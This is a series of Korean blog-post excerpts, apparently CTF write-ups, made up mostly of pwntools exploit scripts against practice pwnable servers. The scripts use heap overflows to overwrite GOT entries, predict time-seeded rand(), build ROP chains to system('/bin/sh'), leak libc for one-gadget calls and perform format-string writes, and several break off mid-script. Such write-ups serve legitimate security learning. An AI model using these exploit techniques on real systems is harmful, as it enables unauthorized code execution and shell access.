이 함수를 실행시키면 익스가 된다. 그렇기 위서 exit@got 주소를 저 함수로 바꿔야 한다. 따라서 첫번째 strcpy로 2번째 strcpy 인자의 주소를 exit@got주소로 바꾸고 2번째 strcpy로 저 함수의 주소를 입력해주면 된다. from pwn import * #p = process('./beginner_heap.bin') p = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('./beginner_heap.bin') pause() context.log_level="debug" flag_f = 0x400826 payload = 'a' * 8 * 2 #next_heap_prev_size payload += 'a' * 8 * 3 payload += p64(e.got[..
from pwn import * from ctypes import * p = remote('ctf.j0n9hyun.xyz', 3014) clib = cdll.LoadLibrary('libc.so.6') clib.srand(clib.time('\x00')) p.sendline(str(clib.rand())) p.interactive() c언어의 random은 /dev/random을 이용한 것과 다르게 같은 시간에 rand()를 이용해서 뽑으면 같은 수가 뽑힌다. 고로 remote()로 연결 뒤 rand()로 뽑으면 익스가 가능하다.
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3029) #p = process('./Unexploitable_2') e = ELF('./Unexploitable_2') context.log_level = "debug" p_r = 0x0000000000400773 main = 0x00000000040068C payload = 'a' * 0x18 payload += p64(p_r) payload += p64(e.got['system']) payload += p64(e.plt['system']) payload += p64(main) p.sendline(payload) p.recvuntil('1: ') libc = u64(p.recv(6).ljust(8,'\x00'))..
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3023) #p = process('./Unexploitable_1') e = ELF('./Unexploitable_1') context.log_level="debug" sh = next(e.search('sh\x00')) p_r = 0x00000000004007d3 p.recv() pause() payload = 'a' * 0x18 payload += p64(p_r) payload += p64(sh) payload += p64(e.plt['system']) log.info('sh : ' + hex(sh)) p.sendline(payload) p.interactive() dynstr에 있는 fflush의 끝에 있는 s..
from pwn import * #p = process('./ezheap') p = remote('ctf.dimigo.hs.kr', 15039) context.log_level="debug" def add(a,b): p.recv() p.sendline('1') p.recv() p.sendline(str(a)) p.recv() p.sendline(str(b)) def vie(a): p.recv() p.sendline('3') p.recv() p.sendline(str(a)) def edit(a,b): p.recv() p.sendline('2') p.recv() p.sendline(str(a)) p.recv() p.sendline(b) def fr(a): p.recv() p.sendline('4') p.se..
from pwn import * #p = process('./ropasaurusrex2') p = remote('ctf.dimigo.hs.kr', 42323) e = ELF('.//ropasaurusrex2') context.log_level="debug" l_of=0x20816 payload = 'a' * 0x30 + 'b' * 7 + 'c' payload += chr(0x16) pause() p.send(payload) p.recvuntil('c') libc = u64(p.recv().ljust(8,'\x00')) - 0x20816 payload = 'a' * 0x30 + 'b' * 8 payload += p64(libc + 0x45216) p.send(payload) p.interactive() l..
from pwn import * #p = process('./sysrop') p = remote('ctf.j0n9hyun.xyz', 3020) e = ELF('./sysrop') context.log_level = "debug" p_ax_dx_di_si_r = 0x4005Ea p_dx_di_si_r = 0x4005EB main = 0x4005F2 p_rdi_r = 0x00000000004006c3 data = 0x0000000000601030 pause() payload = 'a'* 24 payload += p64(p_dx_di_si_r) payload += p64(len('/bin/sh\x00')) payload += p64(0) payload += p64(data) payload += p64(e.pl..
from pwn import * #p = process('./you_are_silver') p = remote('ctf.j0n9hyun.xyz', 3032) e = ELF('./you_are_silver') context.log_level = "debug" p.recv() payload = '%4196055c' + '%8$ln' + 'a' * 2 + p64(e.got['printf']) + 'a' * 40 p.sendline(payload) p.interactive() fsb를 이용하여 printf()함수를 play_game()으로 바꾸면 익스가 가능하다.